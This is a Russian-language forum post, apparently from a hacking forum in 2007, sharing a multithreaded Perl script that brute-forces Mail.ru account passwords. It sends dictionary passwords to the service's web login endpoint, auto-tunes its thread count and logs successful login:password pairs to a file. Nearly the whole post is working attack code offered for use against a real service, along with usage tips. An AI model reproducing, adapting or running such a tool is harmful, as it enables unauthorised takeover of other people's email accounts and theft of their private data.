Показать сообщение отдельно

  #170  
Старый 24.08.2007, 03:40
C!klodoL
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме:
4319431

Репутация: 677
По умолчанию

это брутир мэйл.ру, сама идея брута через вэб принадлежит genom--, я же сделал такую фишку как построчное чтение словаря паролей, т.е. он может быть большого размера, и авто высчитывание оптимального количества потоков, на основе подсчёта времени затрачиваемого на брут при определенном количестве потоков, например:
For 1 threads time = 55
For 2 threads time = 52
For 3 threads time = 50
в результате установится 3 потока
P.S. если будете юзать, то не загружайте инет канал во время высчитывания скриптом оптимального количества потоков, иначе установится ложное значение и будет непохек =/
Код:
#!/usr/bin/perl

use IO::Socket::INET;
use threads;
use threads::shared;
my @pass : shared;

######################################
$dic = 'pass.txt';
$mail = 'mail@bk.ru';
######################################
$thr = 1;
######################################

( $login, $dom ) = split ( /@/, $mail );
open (pass, "<$dic");
open (bad, ">bad.txt");
Next:
@pass = pass();
my $time_start = time;
if ( @pass == 0 ) {
	print "Sorry, password not found =(\n";
	exit;
}
for(0..$thr) { $trl[$_] = threads->create(\&Brut, $_); }
for(0..$thr) { $trl[$_]->join; }
sub Brut
{
	while (@pass){
	$pass = shift @pass;
	$data = "Password=$pass&login_from=http%3A%2F%2Fmail.ru%2F&page=&Domain=$dom&post=&Login=$login";
	$sock = IO::Socket::INET->new(Proto=>'tcp',
				      PeerAddr=>'win.mail.ru',
				      PeerPort=>80);
	print $sock  "POST http://win.mail.ru/cgi-bin/auth HTTP/1.1\r\n".
		     "Host: win.mail.ru\r\n".
		     "Accept: */*\r\n".
		     "Range: bytes=0-63\r\n".
		     "User-Agent: Opero\r\n".
		     "Content-Type: application/x-www-form-urlencoded\r\n".
		     "Content-Length: ".length($data)."\r\n".
		     "Connection: close\r\n\r\n$data";
	$answ = <$sock>;
	close $sock;
	#print "$pass\t$answ";
	if ($answ =~ /302/){
		open (good, '>>good.txt');
		print good "$login:$pass\n";
		print "$login:$pass\n";
		close good;
		exit;
	}
}
}
if ( $thr < 20 && $key == 0 ) {
	my $time_end = time;
	my $timer = $time_end - $time_start;
	print "For $thr threads time = $timer\n";
	$optim[$timer] = $thr;
	$thr++;
} elsif ($key == 0) {
	while (1) {
		$thr = shift @optim;
		print "Thr $thr\n";
		last if ($thr);
	}
	$key = 1;
}
goto Next;
sub pass
{
	my (@mas);
	while (<pass>){
	push @mas, $_;
	last if (@mas > 300);
	}
	print bad $_;
	print $_;
	chomp @mas;
	return @mas;
}

Последний раз редактировалось C!klodoL; 24.08.2007 в 08:37..
 
Ответить с цитированием